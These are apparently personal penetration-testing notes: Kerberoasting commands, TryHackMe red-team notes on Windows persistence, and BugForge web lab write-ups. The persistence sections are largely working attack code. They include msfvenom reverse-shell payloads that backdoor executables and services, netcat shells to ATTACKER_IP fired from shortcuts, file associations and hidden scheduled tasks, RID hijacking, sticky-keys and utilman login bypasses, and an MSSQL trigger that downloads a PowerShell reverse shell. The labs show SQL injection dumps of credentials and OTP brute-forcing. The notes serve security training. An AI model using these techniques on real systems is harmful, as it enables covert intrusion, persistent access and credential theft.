* `PS C:\> Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\ilfreight_tgs.csv -NoTypeInformation` → Exporting All tickets to csv file

#### Using Rubeus

Rubeus does not need us to explicitly set the SPN or the user.

* `PS C:\> .\Rubeus.exe kerberoast /stats` → get the stats
* `PS C:\> .\Rubeus.exe kerberoast`

  we can add flag `/nowrap` so that hash will not be wrapped in any form so it will be easier to crack using hashcat.

  also we can use `/outfile:filename` to save the ticket, instead of displaying it.
* `PS C:\> .\Rubeus.exe kerberoast /user:testspn /nowrap` → for specific user.

we can use `/tgtdeleg` flag to specify that we want only RC4 encryption when requesting a new service ticket.

RC4 is easier to crack compared to AES 256 and 128


# RED TEAMING

Contains Notes from TryHackMe Read Team Path.

<figure><img src="/files/RpNEYHlzicM8g5KS8QmM" alt=""><figcaption><p><a href="https://tryhackme.com/path/outline/redteaming">https://tryhackme.com/path/outline/redteaming</a></p></figcaption></figure>

<figure><img src="/files/NzfSPFIv32PK7Tbi9tPa" alt=""><figcaption></figcaption></figure>


# Windows Local Persistence

#### 🛡️ Persistence After Initial Foothold

* Once you've gained initial access to an internal network, your top priority should be to **maintain that access**.
* **Persistence** means setting up alternative methods to regain entry without needing to exploit the system again.
* It's one of the first and most crucial tasks after compromising a target.

***

#### 📱 Backdoored Device & Why Persistence Matters

* **Unstable exploits can be one-time use**: Some vulnerabilities may crash the service or app after exploitation, making repeated attempts impossible.
* **Hard-to-reproduce attack vectors**: For instance, if access was gained via a phishing campaign, recreating the exact conditions or success rate could be difficult or ineffective the second time.
* **Time pressure from defenders**: If your intrusion is noticed, patches may be applied quickly. You need a way in before the door closes.
* **Credentials are not reliable long-term**: Even if you steal a password hash, it could be rotated or changed, cutting off your access.
* **Stealthier methods are better**: Using creative persistence mechanisms can help evade detection and frustrate the defenders.


# Tampering With Unprivileged Accounts

Once we get the administrator's access, we need to achive persistence in machine so that  it is harder for the blue team to detect us.

## Assign Group Membership

```
C:\> net localgroup administrators newuser1 /add
```

Now we can use `newuser1`to access the machine as administrator. Due to `LocalAccountTokenFilterPolicy` feature of UAC, administrative privileges are stripped out of any local account when logging in remotely.

To regain the administration privilges for our user we have to disable `LocalAccountTokenFilterPolicy` by changing the following registry key to 1.

```
C:\> reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /t REG_DWORD /v LocalAccountTokenFilterPolicy /d 1
```

## Special Privileges and Security Descriptors

We can add a user to certain groups without modifying any group membership. \
For this, we will export current configuration to a temporary file.

```
secedit /export /cfg config.inf
```

Then we add the user to the desired groups.

<figure><img src="/files/LRGRUgYAWZEOpFATBlQX" alt=""><figcaption></figcaption></figure>

Then we convert the .inf file to .sdb to load the configuration back to the system.

```
secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf
```

## RID Hijacking

When a new user is created on a Windows system, they are assigned a unique identifier known as the Relative Identifier (RID). This numeric value helps the system recognize and differentiate users. During the login process, the LSASS (Local Security Authority Subsystem Service) retrieves the user's RID from the SAM (Security Account Manager) registry hive and uses it to generate an access token. By manipulating this registry value, it’s possible to trick the system into assigning an unprivileged user the access token of an Administrator—effectively granting elevated privileges.

On Windows systems, the built-in Administrator account is always assigned the RID 500, while standard user accounts typically receive RIDs starting from 1000.

To change the RID of target user first identify the current RID.

```
C:\> wmic useraccount get name,sid

Name                SID
Administrator       S-1-5-21-1966530601-3185510712-10604624-500
DefaultAccount      S-1-5-21-1966530601-3185510712-10604624-503
Guest               S-1-5-21-1966530601-3185510712-10604624-501
newuser1            S-1-5-21-1966530601-3185510712-10604624-1008
newuser2            S-1-5-21-1966530601-3185510712-10604624-1009
newuser3            S-1-5-21-1966530601-3185510712-10604624-1010
```

we want to change RID of `newuser3` from 1010 to 500.\
In registry Editor rid are stored in hex (1010 = 0x3F2) in little-endin notation (3F2 = F2 03)

<figure><img src="/files/GZWQJoaLnDh1JbKZoP25" alt=""><figcaption></figcaption></figure>

Then, changing to RID 500 (0x01F4) in little-endian (F401):<br>

<figure><img src="/files/ttE8V2VZM1ZwLnXcx5Yi" alt=""><figcaption></figcaption></figure>

`newuser3`is now administrator


# Backdooring Files

## Executable Files

If we find any executable files having hight chance that user might use it frequently then we can download the executable to our attacking machine and modify it to run payload.

For this we can use `msfvenom`.

```
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe
```

The outputed puttyX.exe will execute a reverse\_tcp meterpreter payload while doing its actual job.

## Shortcut Files

Instead of altering the actual executable file, we can tamper its shorcut file to execute backtoor and then execute the usual program.

<figure><img src="/files/eVkM2n9xly6P7SEh7xJJ" alt=""><figcaption></figcaption></figure>

In Calculator shortcut, we can change the target parameter to point to our malcious backdoor script.

```
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe
```

we will save this script in `C:\Windows\System32\backdoor.ps1` then change the shortcut's Target Parameter as;

```
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1
```

## Hijacking File Associations

We can hijack any file association to force the operating system to run a shell whenever the user opens a specific file type.

In windows, file assocations are kept inside the registry `HKLM\Software\Classes`

<figure><img src="/files/CSHXzA0pdCdogxJp3cm6" alt=""><figcaption></figcaption></figure>

For example, `.txt` is associated with `txtfile`  Programmatic ID (progid). progid is simply and identifier to a program installed ont he system.

We can further check the subkey of progid under `shell\open\command`

<figure><img src="/files/3zcEJumqgpB1H1lh4iSy" alt=""><figcaption></figcaption></figure>

When we try to open .txt file, then system executes `%SystemRoot%\system32\NOTEPAD.EXE %1`, where `%1` represents the name of the opened file.

We can change this parameter to execute our backdoor script.

lets create backdoor.ps1 script and save it in c:\windows

```
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]
```

Then edit the registry value as;

<figure><img src="/files/8UJhccwyfp3QrvaXzvkH" alt=""><figcaption></figcaption></figure>

Then when .txt file is opened, out backdoor gets trigerred hence giving us shell.


# Abusing Services

A service is basically an executable that runs in the background. When configuring a service, you define which executable will be used and select if the service will automatically run when the machine starts or should be manually started.

## Creating backdoor services

First, lets create a reverse shell using msfvenom.

```
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe
```

Transfer and save this reverse shell into c:\windows and create new service pointing to this revshell.

```
sc.exe create newservice binPath= "C:\windows\rev-svc.exe" start= auto
sc.exe start newservice
```

## Modifying existing services

Instead of creating new service, we can reuse an existing service to avoid detection.

List available services using

```
C:\> sc.exe query state=all
```

After finding the desired service, query the configuration as.

```
C:\> sc.exe qc newservice
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMService3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2 AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\MyService\newservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : newservice
        DEPENDENCIES       : 
        SERVICE_START_NAME : NT AUTHORITY\Local Service
```

The key things to look here are,

* START\_TYPE
* BINARY\_PATH\_NAME
* SERVICE\_START\_NAME

This service auto executes `C:\MyService\newservice.exe` under the LocalService (Low Privilege) account.

Lets change the Binary path to point to our revshell executable we created using msfvenom and run it as LocalSystem (Highest Privilege).

```
C:\> sc.exe config newservice binPath= "C:\Windows\revshell.exe" start= auto obj= "LocalSystem"

```

Then we can stop and start the service as

```
sc.exe stop newservice
sc.exe start newservice
```


# Abusing Scheduled Tasks

The most common way to schedule tasks is using the built-in Windows task scheduler.

Lets create a task that executes reverse shelle very single minute.

```
C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.
```

```
C:\> schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
thm-taskbackdoor                         5/25/2022 8:08:00 AM   Ready
```

## Making Our Task Invisible

To hide our schedules task, we can delete its SD (Security Descriptor). SD is a simply an ACL that states which users have access to scheduled task. By delting SD we are disallowing all users acc to the scheduled task, including administrators.

<figure><img src="/files/cZOGdTFxAFwRF4KQclFE" alt=""><figcaption></figcaption></figure>

```
C:\> schtasks /query /tn thm-taskbackdoor 
ERROR: The system cannot find the file specified.
```


# Logon Triggered Persistence

## Startup folder

Each user has a folder under `C:\Users<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup` where you can put executables to be run whenever the user logs in.

If we want to force all users to run a payload while logging in, we can use the folder under `C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp` in the same way.

## Run / RunOnce

You can also force a user to execute a program on logon via the registry. Instead of delivering your payload into a specific directory, you can use the following registry entries to specify applications to run at logon:

* HKCU\Software\Microsoft\Windows\CurrentVersion\Run
* HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKLM\Software\Microsoft\Windows\CurrentVersion\Run
* HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

The registry entries under HKCU will only apply to the current user, and those under HKLM will apply to everyone. Any program specified under the Run keys will run every time the user logs on. Programs specified under the RunOnce keys will only be executed a single time.

<figure><img src="/files/3VWtdYeNrHckRwI3cAVu" alt=""><figcaption></figcaption></figure>

Let's then create a `REG_EXPAND_SZ` registry entry under `HKLM\Software\Microsoft\Windows\CurrentVersion\Run`&#x20;

After doing this, sign out of your current session and log in again, and you should receive a shell&#x20;

## Winlogon

Winlogon uses some registry keys under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ that could be interesting to gain persistence:

Userinit points to userinit.exe, which is in charge of restoring your user profile preferences.\
shell points to the system's shell, which is usually explorer.exe.

<figure><img src="/files/EAZM7ctmKBNREPixOvJZ" alt=""><figcaption></figcaption></figure>

If we can replace anyof the executable with our malicious reverse shell, we will break the logon sequence and get shell.

<figure><img src="/files/zlJonL1gIEuSvYGtHpWV" alt=""><figcaption></figcaption></figure>

## Logon scripts

One of the things `userinit.exe` does while loading your user profile is to check for an environment variable called `UserInitMprLogonScript`. We can use this environment variable to assign a logon script to a user that will get run when logging into the machine. The variable isn't set by default, so we can just create it and assign any script we like.

<figure><img src="/files/HvLfrUatjLQu5CyKI04Y" alt=""><figcaption></figcaption></figure>


# Backdooring the Login Screen / RDP

If we have physical access to the machine (or RDP in our case), you can backdoor the login screen to access a terminal without having valid credentials for a machine.

## Sticky Keys

To establish persistence using Sticky Keys, we will abuse a shortcut enabled by default in any Windows installation that allows us to activate Sticky Keys by pressing SHIFT 5 times.

A straightforward way to backdoor the login screen consists of replacing sethc.exe with a copy of cmd.exe. That way, we can spawn a console using the sticky keys shortcut, even from the logging screen.

To overwrite sethc.exe, we first need to take ownership of the file and grant our current user permission to modify it. Only then will we be able to replace it with a copy of cmd.exe. We can do so with the following commands:

```
C:\> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
Overwrite C:\Windows\System32\sethc.exe? (Yes/No/All): yes
        1 file(s) copied.
```

Now, we can enter SHIFT 5 times to open terminal with system privileges.

<figure><img src="/files/p0ukg0rdPoN5fhCdWh2E" alt=""><figcaption></figcaption></figure>

## Utilman

Utilman is a built-in Windows application used to provide Ease of Access options during the lock screen:

<figure><img src="/files/JN23WDdaETNkkksOumPd" alt=""><figcaption></figcaption></figure>

When we click the ease of access button on the login screen, it executes C:\Windows\System32\Utilman.exe with SYSTEM privileges. If we replace it with a copy of cmd.exe, we can bypass the login screen again.

To replace utilman.exe, we do a similar process to what we did with sethc.exe:

```
C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
        1 file(s) copied.
```

Then logout, and click on "Ease of Access" button.


# Persisting Through Existing Services

## Using Web Shells

The usual way of achieving persistence in a web server is by uploading a web shell to the web directory.\
Upload the [.aspx](https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmdasp.aspx) shell into web directory `C:\inetpub\wwwroot`&#x20;

We can then run commands from the web server :

<figure><img src="/files/vMHvwJVdAsVz7zPlJNb7" alt=""><figcaption></figcaption></figure>

## Using MSSQL as a Backdoor

`triggers` in MSSQL allow you to bind actions to be performed when specific events occur in the database. Before creating the trigger, we must first reconfigure a few things on the database. First, we need to enable the xp\_cmdshell stored procedure.

Enabling xp\_cmdshell;

```
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO
```

By default, only database users with sysadmin role can run xp\_cmdshell, lets change this permission such that any website accessing the database can run xp\_cmdshell.

```
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];
```

Finally, create trigger as;

```
USE DATABASE_NAME
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees 
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';
```

content of `evilscript.ps1`

```
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + "PS " + (pwd).Path + "> ";
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};

$client.Close()
```


# BugForge

Contains writeup for various BugForge labs.

<figure><img src="/files/E6Riqkjr9MVdtiBrvcJ2" alt=""><figcaption></figcaption></figure>

**BugForge** is a hands-on bug bounty training platform that provides daily and weekly labs designed to simulate real-world web application vulnerabilities. The platform focuses on practical exploitation, helping security researchers improve their skills in identifying, exploiting, and reporting vulnerabilities in realistic environments.

In this section, I document my complete walkthroughs, methodology, payload analysis, edge cases, bypass techniques, and lessons learned from each lab.

Join official discord server of Bugforge<br>

{% embed url="<https://discord.gg/3VPkaWTrv8>" %}


# SQL Injection (SQLi)

This section contains labs related to **SQL Injection (SQLi)** vulnerabilities. These labs cover different types of SQL injection techniques including:

* Error-based SQLi
* Boolean-based blind SQLi
* Time-based blind SQLi
* Union-based SQLi
* Authentication bypass
* Filter/WAF bypass techniques

Each write-up includes:

* Vulnerability identification process
* Payload crafting strategy
* Enumeration steps
* Data extraction methodology
* Prevention and mitigation notes

The goal is to build a strong, practical understanding of SQL injection exploitation aligned with real-world bug bounty scenarios.


# Cheesy Does It

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/RqAJcW5ANkKMZf7TovhK" alt=""><figcaption></figcaption></figure>

trying simple sqli payload, lets us login as admin

```
admin' or 1=1-- -
```

<figure><img src="/files/RTWeL4Q7gXBBGXKwsgj6" alt=""><figcaption></figcaption></figure>


# Ottergram

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/6mh8mBh8ORwczd1LXzaK" alt=""><figcaption></figcaption></figure>

Intersting request

```
GET /api/profile/sushil
```

<figure><img src="/files/0vF3C131BtOHlcApJokS" alt=""><figcaption></figcaption></figure>

Possible SQLi in path parameter.\
Using simple payload `' or 1=1 -- -` proves this parameter is indeed vulnerable to sqli

<figure><img src="/files/vZmszIMremOV4j4KZmMg" alt=""><figcaption></figcaption></figure>

Next step, finding column number. Using union select method, I found the no of column = 7

```
' union select 1,2,3,4,5,6,7 -- -
```

<figure><img src="/files/A6nMiLu7gX8mfwtmpnbW" alt=""><figcaption></figcaption></figure>

Using [PayloadsAllTheThings SQLi Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification), I found the database to be sqlite

Next is dumping the columns name.

```
' union select 1,2,3,4,5,6,group_concat(tbl_name) from sqlite_master -- -
```

<figure><img src="/files/4rPYCQSfo6Pi8BHWwsng" alt=""><figcaption></figcaption></figure>

`users` table looks intersting.

Next step is to get columns name from `users` table.

```
' union select 1,2,3,4,5,6,MAX(sql) from sqlite_master WHERE tbl_name='users' -- -
```

<figure><img src="/files/8ZBtwnN8voL7gs8Tj2tl" alt=""><figcaption></figcaption></figure>

Two interesting columns on `users` table are `username` and `password` . Dumping them as

```
' union select 1,2,3,4,5,username,password from users -- -
```

<figure><img src="/files/4yGS6W5s8I1AaBlclFyp" alt=""><figcaption></figcaption></figure>

Got the flag.


# CopyPasta

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/PrVZTKSInEBhlx1As5lR" alt=""><figcaption></figcaption></figure>

after viewing any snippet, we have option to share, which gives us link of snippet

<figure><img src="/files/LkXpr7iW4lPyc8glQkvx" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/yvFktwOQYl2qdOpPyCQJ" alt=""><figcaption></figcaption></figure>

Possible SQLi

Using simple payload `' or 1=1— -` proves, it is vulnerable to SQLi

<figure><img src="/files/whpXN2phIC8WNlEb7EN8" alt=""><figcaption></figcaption></figure>

finding number of columns

`' order by 7-- -` gives error, hence the number of column is 6

<figure><img src="/files/eeHvwNwWbnPBAwX8toEe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sJ5G1G6rpumQT4AQu73p" alt=""><figcaption></figcaption></figure>

using `' union select 1,2,3,4,5,sqlite_version()-- -` confirm database is sqlite, [visit here for more info](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification)&#x20;

<figure><img src="/files/jb4OayAHeHGZ1xJFookX" alt=""><figcaption></figcaption></figure>

dumping table names using

```
' union select 1,2,3,4,5,group_concat(tbl_name) from sqlite_master where type='table'-- -
```

<figure><img src="/files/CgR3u5l9qvsZF1MKlYIV" alt=""><figcaption></figcaption></figure>

`users` table looks interesting.

Next: dumping column names from table `users`

```
' union select 1,2,3,4,5,group_concat(name) from PRAGMA_TABLE_INFO('users')-- -
```

<figure><img src="/files/YqFsc7P80cibhzq557bN" alt=""><figcaption></figcaption></figure>

dumping `username` and `password` columns from `users` table

```
' union select 1,2,3,4,username,password from users-- -
```

<figure><img src="/files/WTgQkrmCmt2D8bc9nKAn" alt=""><figcaption></figcaption></figure>


# Sokudo - sokudo-004

Level: Easy\
Points: 10\
Type: Daily Challenge

Nothing complicated here, use simple sqli payload to login as admin and get flag in response.

<figure><img src="/files/11KX35IzVcEKCaO8fmUY" alt=""><figcaption></figcaption></figure>


# Shady Oaks Financial  - shadyoaks-005

Level: Easy\
Points: 10\
Type: Daily Challenge

Found SQLi in search feature

<figure><img src="/files/wbxzrzO670NofdK4Ooqg" alt=""><figcaption></figcaption></figure>

`' or 1=1— -`

<figure><img src="/files/RsyA6oleRh6nlgQFHpVU" alt=""><figcaption></figcaption></figure>

Using union method, we know number of column to be 8\
`' union select 1,2,3,4,5,6,7,8 -- -`<br>

<figure><img src="/files/GQZcEdcgxg3HlvT5R7Ae" alt=""><figcaption></figcaption></figure>

Use this resource to find database name, table name, column name and then dump everything that seems interesting [PayloadsAllTheThings SQLi Cheatsheet](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection#dbms-identification).\
Or visit checkout the solution of [Ottegram ](https://notes.dollarboysushil.com/web-application-pentest/bugforge/sql-injection-sqli/ottergram)for detail step.<br>

After finding necessary datas, we dump the username and password. Password of admin = flag of lab.

<figure><img src="/files/fm51qDoC2CTtuPJ2LAYl" alt=""><figcaption></figcaption></figure>


# Business Logic Flaw


# Cheesy Does It

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/lXxdDanPldoIThB2iA3X" alt=""><figcaption></figcaption></figure>

Vulnerable Request:

```http
POST /api/orders HTTP/2
Host: lab-1771857680915-k4ozgp.labs-app.bugforge.io
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NCwidXNlcm5hbWUiOiJzdXNoaWwiLCJpYXQiOjE3NzE4NTc5NTJ9.N9MP8DhXJMJ6Akg2hi7A3Re26BQXWIuKbZIC9rmURfA
Content-Length: 303
Origin: https://lab-1771857680915-k4ozgp.labs-app.bugforge.io
Referer: https://lab-1771857680915-k4ozgp.labs-app.bugforge.io/checkout
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers

{
  "items": [
    {
      "pizza_name": "Pepperoni Classic",
      "base_name": "Hand Tossed",
      "sauce_name": "Classic Tomato",
      "size": "Medium",
      "toppings": [
        "Pepperoni",
        "Extra Mozzarella"
      ],
      "quantity": 1,
      "unit_price": 12.99,
      "total_price": 12.99,
      "id": 1771857957248
    }
  ],
  "delivery_address": "a",
  "phone": "a",
  "payment_method": "card",
  "notes": ""
}
```

Set the `total_price` to zero and forward the request, we will be able to buy the order for free.

<figure><img src="/files/f7yVPI2APAb0HRYxdP89" alt=""><figcaption></figcaption></figure>


# Cafe Club

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/WuRVXCJqrxTn9kZ2mPO8" alt=""><figcaption></figcaption></figure>

There exist Gift Cards feature.

<figure><img src="/files/Ky2kbLul0ZJ4pZYewt1c" alt=""><figcaption></figcaption></figure>

We can purchase gift card and redeem it.

<figure><img src="/files/l5VQtxbKh6OJCJcigxje" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/332RzZgnFdw6CUGWMAyi" alt=""><figcaption></figcaption></figure>

Key thing to notice here. Every time we purchase and redeem gift card, The code is predictable

`CAFE-0903-AXXX`&#x20;

<figure><img src="/files/zo8QW3y5uALhriYciDwk" alt=""><figcaption></figcaption></figure>

Only the last 3 characters are different, and they looks like capital alphabetical characters.\
With this in mind, we can try to bruteforce and redeem gift cards of other.

<figure><img src="/files/DGLBwtGJdjnU0KEfrliL" alt=""><figcaption></figcaption></figure>

And we have some 200 OK Response

<figure><img src="/files/bXrlG9ex9Rf80J8mfvRi" alt=""><figcaption></figcaption></figure>


# Cheesy Does It

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/JxgJ8ehWeiPN3Adbwehs" alt=""><figcaption></figcaption></figure>

Discount code `PIZZA-10` is provided.

During order checkout, we have option to add discount code.

<figure><img src="/files/6pKQ8WO0OlbKqAFhwTA6" alt=""><figcaption></figcaption></figure>

Its respective request is

<figure><img src="/files/Z8VLYSPULQn2tb80NzWN" alt=""><figcaption></figcaption></figure>

Here, we can edit the discount parameter from

```
"discount":"PIZZA-10"
```

to

```
"discount":["PIZZA-10","PIZZA-10","PIZZA-10","PIZZA-10"]
```

and the system applies the **same coupon multiple times**.

<figure><img src="/files/IGDQssKrTl50TpeNjeB2" alt=""><figcaption></figcaption></figure>

forward the request and we will get our flag.

<figure><img src="/files/kfo1UDmEXrwGopSDFN5e" alt=""><figcaption></figcaption></figure>


# Sokudo

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/vhCkX099O3zW8CYtINoN" alt=""><figcaption></figcaption></figure>

After signup, we get a token.

<figure><img src="/files/2HeDnAksYTwFXJflhpSe" alt=""><figcaption></figcaption></figure>

Provided token looks interesting.

```
20260312181120
```

which is in this form

```
2026 03 12 18 11 20
YYYY MM DD HH MM SS
```

To check if it is what I thought. I created a new account and got new token

```
20260312180943
```

Next, I tried to bruteforce last 4 digits hoping new account is created in last 60 mins.\
I also edit the request to /api/admin/users which requires admin token to get 200 response.

<figure><img src="/files/l3edc2z4KISA1fy2RyGQ" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/2rWYXQjqVszJ6erU9P9R" alt=""><figcaption></figcaption></figure>


# Cheesy Does It  (forgot\_password flaw)

Level: Easy\
Points: 10\
Type: Daily Challenge

During register/login we can see forgot password feature.

<figure><img src="/files/0zrsHHwfsqpounoaGKiU" alt=""><figcaption></figcaption></figure>

Forgot-password takes only one arguement i.e `username` , we can pass any username here.

<figure><img src="/files/zDniFUbOQvsXsxebEJz6" alt=""><figcaption></figcaption></figure>

Once username is passed, OTP is sent to account's email address. The ui doesnot takes the value more than 4 digit.\
Meaning we can try to bruteforce the OTP.

<figure><img src="/files/0eFfD2HYCVdVAxIt6WgE" alt=""><figcaption></figcaption></figure>

There is no any rate limiting system and we can successfully bruteforce the OTP.\
After successfull OTP bruteforce, we get the reset\_token

<figure><img src="/files/RuNYWMuok2xqkAqOdgLL" alt=""><figcaption></figcaption></figure>

From the js file,we can get idea on how to use the reset\_token to change the password.

POST request to /api/verify-token with values of&#x20;

* `username`&#x20;
* `reset_token`&#x20;
* `new_password`

<figure><img src="/files/hmkYJSDAraBlgCpo1jSZ" alt=""><figcaption></figcaption></figure>

Password successfully changed.

Now, we can login as admin and get the flag.

<figure><img src="/files/PMbnj1JjN9v5WXixPQdL" alt=""><figcaption></figcaption></figure>


# IDOR - Insecure Direct Object Reference


# Tanuki

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/gZnyAAo515m1NgErWoHy" alt=""><figcaption></figcaption></figure>

Visiting /stats calls api `/api/stats/4`

<figure><img src="/files/6tzMpcx5LFwkQDqBGaUK" alt=""><figcaption></figcaption></figure>

Changing the stats to different value gives us the stats of other user.

<figure><img src="/files/o9nTP8D9pOfs519M2d9B" alt=""><figcaption></figcaption></figure>


# Tanuki - 2

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/gZnyAAo515m1NgErWoHy" alt=""><figcaption></figcaption></figure>

In /profile we have option to update or profile

<figure><img src="/files/Ju6tDmtSUQ0QwGr9BAjX" alt=""><figcaption></figcaption></figure>

Request to update profile looks like

<figure><img src="/files/Sn9o55GDhhcd9STJSUZn" alt=""><figcaption></figcaption></figure>

Key thing to notice here:\
1\. Email address\
2\. username passed on request

With this info, the first thing that comes in mind, is possibility to update password of other users.\
To test this, I created new account.<br>

And then tried to update password of new account by replacinng email and username in update profile request.

<figure><img src="/files/ssgKYKBjZfJrou6u9Kh7" alt=""><figcaption></figcaption></figure>

Which worked perfectly and gave me flag.


# CopyPasta

Level: Easy\
Points: 10\
Type: Daily Challenge

Lab Interface

<figure><img src="/files/y5sPBCMbkUWKa1JcbehA" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/MnvjK5g4qXqHzFtpNTYJ" alt=""><figcaption></figcaption></figure>

We have option to create new snippet

<figure><img src="/files/DCJJJ8JvTr2aD5AV8zmN" alt=""><figcaption></figcaption></figure>

Key thing here is the ability to make our new snippet private/public. This feature gives us idea about possible IDOR vuln.

To check this, I created another account. In the 1st account I created a private snippet and from 2nd account I was able to view it.

<figure><img src="/files/E9SU0t3BDiVQRyB99Vpk" alt=""><figcaption></figcaption></figure>

```
bug{8i9A3cgr4kq2FOgDGGjhBKcayrZUuhsS}
```


# CopyPaste - Slug

CopyPasta IDOR via Collection Slug Enumeration

**Level:** Easy | **Points:** 10 | **Type:** Daily Challenge

**Overview**

The application allows users to create and manage collections of code snippets. An insecure API endpoint exposes collection metadata without authorization checks, enabling an attacker to enumerate private collections and access their contents using leaked slugs.

<figure><img src="/files/55VieLbIvYaeFY0xXtcV" alt=""><figcaption></figcaption></figure>

Navigating to `/collections`, authenticated users can create collections and group snippets inside them.

<figure><img src="/files/ShOuIH7qvdGrSeTzi5L3" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/sgFb2p9Z66HukmzNNtsf" alt=""><figcaption></figcaption></figure>

**Identifying the Vulnerability**

The endpoint `/api/collections/:id` returns metadata for any collection by its integer ID  including collections owned by other users.

This immediately raises an **IDOR (Insecure Direct Object Reference)** flag, since the IDs are sequential integers with no authorization check.

Querying `collection/2` reveals a collection owned by **admin**:

<figure><img src="/files/BWgBCNtafzV1RVPbP8NE" alt=""><figcaption></figcaption></figure>

**Exploitation**

Two key observations make exploitation possible:

**1. The `is_public` field is set to `1`**\
For public collections, the application uses the collection's `slug` to serve its data, meaning knowing the slug is enough to view the contents.

**2. The slug is leaked by the IDOR**\
Even though this is the admin's collection, the unauthenticated metadata endpoint freely returns its slug.

<figure><img src="/files/zh8BBngE7R0FSkklppN8" alt=""><figcaption></figcaption></figure>

To understand the share URL format, we first inspect our own collection's public link:

```
https://lab[id].labs-app.bugforge.io/collections/share/<slug>
```

Substituting the admin's leaked slug into this URL:&#x20;

<figure><img src="/files/xygT76lzNg3mjLb0DsIb" alt=""><figcaption></figcaption></figure>

This grants full access to the admin's collection, and reveals the flag.

**Root Cause**

The vulnerability is a combination of two weaknesses:

* **IDOR:** `/api/collections/:id` exposes metadata of all collections with no ownership or authorization check
